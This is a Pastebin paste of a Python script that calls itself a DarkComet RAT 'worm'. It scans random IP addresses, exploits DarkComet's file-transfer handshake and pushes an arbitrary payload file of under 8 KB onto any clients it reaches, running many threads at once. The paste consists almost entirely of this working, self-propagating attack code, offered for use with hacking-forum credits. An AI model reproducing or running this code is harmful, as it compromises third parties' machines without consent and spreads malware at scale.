Advertisement
KekSec

Darkcomet worm, modded by Freak/Fl0urite

Feb 28th, 2015
910
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.01 KB | None | 0 0
  1. # DarkComet RAT - Exploiter
  2. # written by Slayer616
  3. # modified by Fl0urite/Freak (THE EXPLOIT IS NOT MINE I JUST MADE IT A WORM)
  4.  
  5. # if you like this worm feel free to +rep me http://www.hackforums.net/member.php?action=profile&uid=2209711
  6.  
  7. # Thanks to: Opcodez, Zacherl, steve1020, 2sly, Protocol, all other friends/coders/supporters
  8. import socket
  9. import os
  10. import random
  11. from threading import Thread
  12. print("-----------------------------------------------------------")
  13. print("DarkComet RAT Worm")
  14. print("Coded by Slayer616, modded by Freak/Fl0urite")
  15. print("-----------------------------------------------------------")
  16. def Worm(sPort,sFile):
  17.         while 1:
  18.                 sIP=GenerateIP()
  19.                 if os.path.exists(sFile):
  20.                     bLen= os.path.getsize(sFile)
  21.                     if bLen < 8096:
  22.                         if sPort.isdigit():
  23.                             print("Connecting to %s on Port %s" % (sIP,sPort))
  24.                             sSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  25.                             try:
  26.                                 sSock.connect((sIP, int(sPort)))
  27.                                 print("Connected to Remote PC!")
  28.                                 sData = str(sSock.recv(1024),'ASCII')
  29.                                 if sData == "IDTYPE":
  30.                                     print("Valid Client! Now sending request!")
  31.                                     sSock.send(bytes("TRANSFERupnp.exe|DLFILE|562|7","ASCII"))
  32.                                     sSock.recv(1024)
  33.                                     sData = "Size:%s" % (str(bLen))
  34.                                     sSock.send(bytes(sData,"ASCII"))
  35.                                     sSock.recv(1024)
  36.                                     f = open(sFile,"rb")
  37.                                     sData = f.read()
  38.                                     f.close()
  39.                                     sSock.send(sData)
  40.                                     sSock.close()
  41.                                     print("Finished! Now wait until Client.exe restarts!")
  42.                                 else:
  43.                                     print("This is not a valid DarkComet Client!")
  44.                             except:
  45.                                print("Couldnt connect to Remote PC!")
  46.                         else:
  47.                             print("Port is not a valid Integer!")
  48.                     else:
  49.                         print("Payload is too large! Use one with less then 8Kbyte!") #grammer nazi
  50.                 else:
  51.                     print("File not found!")
  52. def GenerateIP():
  53.     return str(random.randrange(0,255))+"."+str(random.randrange(0,255))+"."+str(random.randrange(0,255))+"."+str(random.randrange(0,255))
  54.  
  55. def Main():
  56.     sPort=raw_input("Darkcomet Port: ")
  57.     sFile=raw_input("Payload File: ")
  58.     threads=int(raw_input("Threads: "))
  59.     print("Starting threads...")
  60.     for i in range(0,threads):
  61.         Thread(target=Worm, args=(sPort,sFile)).start()
  62.     print("Started threads!")
  63.  
  64. Main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement